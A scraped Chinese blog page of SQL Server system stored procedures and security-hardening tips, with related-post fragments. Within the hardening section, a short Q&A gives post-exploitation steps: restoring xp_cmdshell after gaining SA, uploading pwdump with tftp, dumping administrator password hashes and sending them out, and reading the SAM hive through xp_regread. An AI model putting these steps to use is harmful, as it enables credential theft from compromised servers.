1. 程式人生 > >SQL SERVER常用系統儲存過程

SQL SERVER常用系統儲存過程

--獲得MS SQL的版本號 
execute master..sp_msgetversion 
--得到硬碟檔案資訊 
--
引數說明:目錄名,目錄深度,是否顯示檔案 
execute master..xp_dirtree 'c:' 
execute master..xp_dirtree 'c:',1 
execute master..xp_dirtree 'c:',1,1 
--列出伺服器上安裝的所有OLEDB提供的程式 
execute master..xp_enum_oledb_providers 
--列出伺服器上安裝的所有內碼表 
execute master..xp_enumcodepages 
--列出伺服器上配置的dsn 

execute master..xp_enumdsn 
--列出sql server錯誤日誌列表,最後更新時間 
execute master..xp_enumerrorlogs 
--列出伺服器上所有windows本地組 
execute master..xp_enumgroups 
--檢測檔案存在性 
execute master..xp_fileexist 'c:\a.bak' 
declare@flagint 
exec master..xp_fileexist 'c:\abc.bak',@flag out 
if@flag=1 
begin 
print'exist' 
end 
else 
begin 
print
'no exist' 
end 
--列出伺服器上固定驅動器,以及每個驅動器的可用空間 
execute master..xp_fixeddrives 
--得到當前sql server伺服器的計算機名稱 
execute master..xp_getnetname 
--列出當前錯誤日誌的具體內容 
EXEC[master].[dbo].[xp_readerror 

 

 

SQL Server的安全配置

    除跟著微軟打滿所有補丁外,還需要加強資料庫的安全。
    首先,你需要加強象sa這樣的帳號的密碼,跟系統帳號的使用配置相似,一般操作資料庫不要使用象sa這樣的最高許可權的帳號,而使用能滿足你的要求的一般帳號。

    接著對擴充套件儲存過程開始大屠殺,首先就是xp_cmdshell,還有就是上面那些一大堆儲存過程,都drop吧,一般也用不著。

執行:
use master
sp_dropextendedproc 'xp_cmdshell'

    去掉guest帳號,阻止非授權使用者訪問。

    去掉不必要的網路協議。

    加強對資料庫登陸的日誌記錄,最好記錄所有登陸事件。可以用下面的簡單DOS命令來檢視日誌:

findstr /C:"登入" d:\Microsoft SQL Server\MSSQL\LOG\*.*

    用管理員帳號定期檢查所有帳號,是否密碼為空或者過於簡單,比如下面的語句:

Use master
Select name,Password from syslogins where password is null

    用下面語句對所有帳號,檢查對儲存過程和擴充套件儲存過程的執行權,提防不必要的執行許可權擴散:

Use master
Select sysobjects.name From sysobjects, sysprotects Where sysprotects.uid = 0 AND xtype IN ('X','P') AND sysobjects.id = sysprotects.id

    加強資料庫的安全是非常重要的,有的資料庫伺服器是和WEB伺服器隔離開的,這就同MAIL伺服器一樣,資料庫的日誌可能就基本很少去檢視,這將會成為管理員的一個疏忽點。類似DNS、MAIL等等,資料庫伺服器往往成為各種入侵的跳板。

    下面是一些關於資料庫的問答和技巧:

1、獲得SA許可權後,卻不能執行xp_cmdshell儲存過程怎麼辦?
    答:可能是已經把xp_cmdshell等擴充套件儲存過程刪除了,可以用這個儲存過程把xp_cmdshell恢復。
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 

2、通過資料庫用pwdump獲得系統管理員密碼
先上傳一個pwdump
tftp -i GET pwdump3.exe pwdump3.exe
tftp -i GET lsaext.dll lsaext.dll
tftp -i GET pwservice.exe pwservice.exe
pwdump3 127.0.0.1 outfile.txt
tftp PUT outfile.txt outfile.txt
然後再用解密工具l0pht等等破解這些密碼。

3、從資料庫讀取系統管理員密碼。
    能讀出加密的密碼是NT的"administrator"帳號也不能做的,SQL Server能讀出來是使用的“LocalSystem”帳號,這個帳號比administrator更高一級。可以使用下面這個儲存過程。不過讀出來的密碼是經過加密後的,然後再解密吧。
xp_regread 'HKEY_LOCAL_MACHINE','SECURITY\SAM\Domains\Account','F'  

 

 

 

1. 檢視資料庫的版本 
select @@version 

2. 檢視資料庫所在機器作業系統引數 
exec master..xp_msver 

3. 檢視資料庫啟動的引數 
sp_configure 

4. 檢視資料庫啟動時間 
select convert(varchar(30),login_time,120) from master..sysprocesses where spid=1 

檢視資料庫伺服器名和例項名 
print 'Server Name: ' + convert(varchar(30),@@SERVERNAME) 
print 'Instance: ' + convert(varchar(30),@@SERVICENAME) 
5. 檢視所有資料庫名稱及大小 
sp_helpdb 

重新命名資料庫用的SQL 
sp_renamedb 'old_dbname', 'new_dbname' 

6. 檢視所有資料庫使用者登入資訊 
sp_helplogins 

檢視所有資料庫使用者所屬的角色資訊 
sp_helpsrvrolemember 

修復遷移伺服器時孤立使用者時,可以用的fix_orphan_user指令碼或者LoneUser過程 

更改某個資料物件的使用者屬主 
sp_changeobjectowner [@objectname =
]'object'[@newowner =]'owner' 

注意: 更改物件名的任一部分都可能破壞指令碼和儲存過程。 

把一臺伺服器上的資料庫使用者登入資訊備份出來可以用add_login_to_aserver指令碼 

7. 檢視連結伺服器 
sp_helplinkedsrvlogin 

檢視遠端資料庫使用者登入資訊 
sp_helpremotelogin 

8.檢視某資料庫下某個資料物件的大小 
sp_spaceused 
@objname 

還可以用sp_toptables過程看最大的N(預設為50)個表 

檢視某資料庫下某個資料物件的索引資訊 
sp_helpindex 
@objname 

還可以用SP_NChelpindex過程檢視更詳細的索引情況 
SP_NChelpindex 
@objname 

clustered索引是把記錄按物理順序排列的,索引佔的空間比較少。 
對鍵值DML操作十分頻繁的表我建議用非clustered索引和約束,fillfactor引數都用預設值。 
檢視某資料庫下某個資料物件的的約束資訊 
sp_helpconstraint 
@objname 

9.檢視資料庫裡所有的儲存過程和函式 
use@database_name 
sp_stored_procedures 
檢視儲存過程和函式的原始碼 
sp_helptext 
'@procedure_name' 

檢視包含某個字串
@str的資料物件名稱

相關推薦

SQL SERVER常用系統儲存過程

--獲得MS SQL的版本號 execute master..sp_msgetversion --得到硬碟檔案資訊 --引數說明:目錄名,目錄深度,是否顯示檔案 execute master..xp_dirtree 'c:' execute master..xp_dirtr

Sql Server 常用系統儲存過程大全

EXEC xp_cmdshell --*執行DOS各種命令,結果以文字行返回。 EXEC xp_fixeddrives --*查詢各磁碟/分割槽可用空間 EXEC xp_loginconfig --*報告SQL Server 例項在Windows 上執行時的登入安全配置

SQL Server常用系統

data pro 根據 結果 同時 最大 sys 次數 max 1、查詢當前數據庫中的用戶表 select *from sysobjects where xtype=‘U‘; 2、獲取SQL Server允許同時用戶連接的最大數 SELECT @@MAX_CONNECTIO

SQL server 2012 中儲存過程除錯

1、儲存過程無法直接除錯 選中要除錯的儲存過程,右擊“執行儲存過程”,根據是否需要輸入引數,若需要則可以先隨便輸入,跳轉到Exec 頁面後,輸入正確合理的引數進行,F10,開始除錯,F11,進入到被呼叫的儲存過程中。 結論:無法很好的與C#客戶端程式聯合起

Sql Server 2008中儲存過程傳入表值引數

分享一下我老師大神的人工智慧教程!零基礎,通俗易懂!http://blog.csdn.net/jiangjunshow 也歡迎大家轉載本篇文章。分享知識,造福人民,實現我們中華民族偉大復興!        

Sql server動態載入儲存過程--分頁

create procedure [dbo].[pro_getStu] ( @pindex int,  --最小是1,第1頁 @psize int, @name nvarchar, @dbcount int&n

sql server事務 鎖 儲存過程 索引 觸發器

1.事務:保證一個多操作的事情全部完成,否則回到做之前的狀態 begin try begin tran–設定反悔點,開啟事務 delete from UserInfo where UserId>5 delete from ClassInfo commit tran–不反悔,提交事務 e

SQL Server資料庫的儲存過程中定義的臨時表,真的有必要顯式刪除(drop table #tableName)嗎?

問題背景 在寫SQL Server儲存過程中,如果儲存過程中定義了臨時表,有些人習慣在儲存過程結束的時候一個一個顯式地刪除過程中定義的臨時表(drop table #tName),有些人又沒有這個習慣,對於不明真相的群眾或者喜歡思考的人會問,儲存過程中定義的臨時表,最後要不要主動刪除,為什麼

Sql Server與Oracle儲存過程轉換

在sql 向oracle 遷移過程中,最頭疼的也許就是儲存過程的轉換了,之前利用sql/developer 將sql 資料遷移到oracle 裡面去了,但是對於儲存過程來說,還需要進行大量的後續更改,

sql server之在儲存過程中利用OpenJson將Json字串轉化為表格

在Sql server2016的版本後,資料庫增加了對Json格式的支援,詳細資訊可以參考微軟官方文件連結 應用背景 線上訂餐系統中,購物車的內容儲存在瀏覽器快取中,所以資料庫關於訂單的設計是訂單表(訂單ID,送貨地址,使用者ID,,,,,),訂單明細表(訂

C#呼叫SQL Server分頁儲存過程

以SQL Server2012提供的offset ..rows fetch next ..rows only為例e.g.表名:Tab1 ---------------------------------- ID Name 1 tblAttributeGroupDetail 2

SQL Server基礎之儲存過程

if (object_id('book_page', 'P') is not null) drop proc book_page go create proc book_page( @TableName varchar(50), --表名 @ReFi

SQL Server 禁用擴充套件儲存過程

概述   擴充套件儲存過程是 SQL Server 例項可以動態載入和執行的 DLL。擴充套件儲存過程是使用 SQL Server 擴充套件儲存過程 API 編寫的,可直接在 SQL Server 例項的地址空間中執行。擴充套件儲存過程可能會產生記憶體洩漏或其他降低伺服器的效能及可靠性的問題。固定伺服器

C#呼叫Sql Server 2008的儲存過程流程

前言 最近用到了sql server 2008的儲存過程,特此整理成文 流程步驟 1.獲取連結 SqlConnection myConnection = new SqlConnec

SQL server觸發器、儲存過程操作遠端資料庫插入資料,解決伺服器已存在的問題

最近弄了一個小專案,也不是很複雜,需要將一個數據庫的一些資料備份到另外一個庫,不是本地,可能是網路上其他的資料庫,想了一下,用了儲存過程和觸發器。也不是很複雜,首先我需要操作遠端資料庫,於是寫了一個儲存過程: CREATE PROCEDURE sendInfoToRemo

VC6.0通過ADO呼叫SQL Server 2000的儲存過程出現引數過多的問題

今天在做畢業設計的時候遇到一個很奇怪的問題,我以前通過傳遞三個引數的儲存過程呼叫都還是很成功的,為什麼今天就不行了呢?程式碼如下: HRESULT hr; if (m_pCmd == NULL) { hr = m_pCmd.Creat

通過系統儲存過程手動執行SQL Server中的Job

目錄 系統儲存過程sp_start_job 在SQL Server中,若想通過T-SQL指令碼手動執行SQL Server Agent中的Job(作業任務),則可使用系統儲存過程sp_star

幾個SQL server登陸,登入,使用者,角色和組用到的系統儲存過程

登入、使用者、角色和組是 Microsoft® SQL Server™ 2000 安全機制的基礎。連線到 SQL Server 的使用者必須使用特定的登入識別符號 (ID) 標識自己。因此,使用者只能檢視經授權可以檢視的表和檢視,並且只能執行經授權可以執行的儲存過程和管理功能。這一安全系統基於用來標識使用者

SQL2000系統表、儲存過程、函式的功能介紹及應用2009年01月21日 星期三 11:38雖然使用系統儲存過程系統函式與資訊架構檢視已經可以為我們提供了相當豐富的元資料資訊,但是對於某些特殊的元資料資訊,我們仍然需要直接對系統表進行查詢。因為SQL

雖然使用系統儲存過程、系統函式與資訊架構檢視已經可以為我們提供了相當豐富的元資料資訊,但是對於某些特殊的元資料資訊,我們仍然需要直接對系統表進行查詢。因為SQL Server 將所有資料庫物件的資訊均存放在系統表中,作為 SQL Server 的管理、開發人員,瞭解各個系統表的作用將有助於我們瞭解 SQL

SQL Server常用的關鍵字和基本關鍵字

fix 數據庫 刪除 總結 數據表 reader 不常用 基本 clas 個人覺得sql數據庫的關鍵字不常用比較會忘記,但是對數據表的靈活應用卻很重要,所以在這裏總結一些! 一、常用關鍵字 ALTER TABLE(修改表)用於在已有的表中添加、修改或刪除列。